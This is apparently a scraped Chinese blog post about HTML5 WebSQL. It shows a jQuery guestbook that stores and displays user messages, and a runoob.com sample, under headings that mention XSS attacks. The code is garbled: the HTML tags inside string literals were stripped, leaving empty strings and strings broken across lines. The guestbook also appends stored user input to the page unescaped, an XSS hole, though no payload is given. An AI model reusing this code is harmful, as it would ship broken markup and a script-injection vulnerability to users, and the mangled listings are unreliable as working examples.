                        var txtName = $("#txtName").val();
                        var txtTitle = $("#txtTitle").val();
                        var txtWords = $("#txtWords").val();
                        var db = getCurrentDb();
                        //执行sql脚本,插入数据
                        db.transaction(function (trans) {
                            trans.executeSql("insert into Demo(uName,title,words) values(?,?,?) ", [txtName, txtTitle, txtWords], function (ts, data) {
                            }, function (ts, message) {
                                alert(message);
                            });
                        });
                        showAllTheData();
                    });
                })
            function getCurrentDb() {
                //打开数据库,或者直接连接数据库参数:数据库名称,版本,概述,大小
                //如果数据库不存在那么创建之
                var db = openDatabase("myDb", "1.0", "it's to save demo data!", 1024 * 1024);;
                return db;
            }
            //显示所有数据库中的数据到页面上去
            function showAllTheData() {
                $("#tblData").empty();
                var db = getCurrentDb();
                db.transaction(function (trans) {
                    trans.executeSql("select * from Demo ", [], function (ts, data) {
                        if (data) {
                            for (var i = 0; i < data.rows.length; i++) {
                                appendDataToTable(data.rows.item(i));//获取某行数据的json对象
                            }
                        }
                    }, function (ts, message) { alert(message); var tst = message; });
                });
            }
            function appendDataToTable(data) {//将数据展示到表格里面
                //uName,title,words
                var txtName = data.uName;
                var txtTitle = data.title;
                var words = data.words;
                var strHtml = "";
                strHtml += "";
                strHtml += "" + txtName + "";
                strHtml += "" + txtTitle + "";
                strHtml += "" + words + "";
                strHtml += "";
                $("#tblData").append(strHtml);
            }
    </script>
</head>


<body>
    <table>
        <tr>
            <td>用户名:</td>
            <td><input type="text" name="txtName" id="txtName" required/></td>
        </tr>
        <tr>
            <td>标题:</td>
            <td><input type="text" name="txtTitle" id="txtTitle" required/></td>
        </tr>
        <tr>
            <td>留言:</td>
            <td><input type="text" name="txtWords" id="txtWords" required/></td>
        </tr>
    </table>
    <input type="button" value="保存" id="btnSave" />
    <hr/>
    <input type="button" value="展示所哟数据" onclick="showAllTheData();" />
    <table id="tblData">
    </table>


</body>

</html>

WebSQL

  • xss 攻击

<!DOCTYPE HTML>
<html>

<head>
    <meta charset="UTF-8">
    <title>菜鸟教程(runoob.com)</title>
    <script type="text/javascript">

        var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);
        var msg;

        db.transaction(function (tx) {
            tx.executeSql('CREATE TABLE IF NOT EXISTS LOGS (id unique, log)');
            tx.executeSql('INSERT INTO LOGS (id, log) VALUES (1, "菜鸟教程")');
            tx.executeSql('INSERT INTO LOGS (id, log) VALUES (2, "www.runoob.com")');
            msg = '

数据表已创建,且插入了两条数据。

'
; document.querySelector('#status').innerHTML = msg; }); db.transaction(function (tx) { tx.executeSql('SELECT * FROM LOGS', [], function (tx, results) { var len = results.rows.length, i; msg = "

查询记录条数: " + len + "

"
; document.querySelector('#status').innerHTML += msg; for (i = 0; i < len; i++) { msg = "

" + results.rows.item(i).log + "

"
; document.querySelector('#status').innerHTML += msg; } }, null); }); </script> </head> <body> <div id="status" name="status">状态信息</div> </body> </html>

end

  • xss 攻击

你可能感兴趣的:(JavaScript,html5,javascript)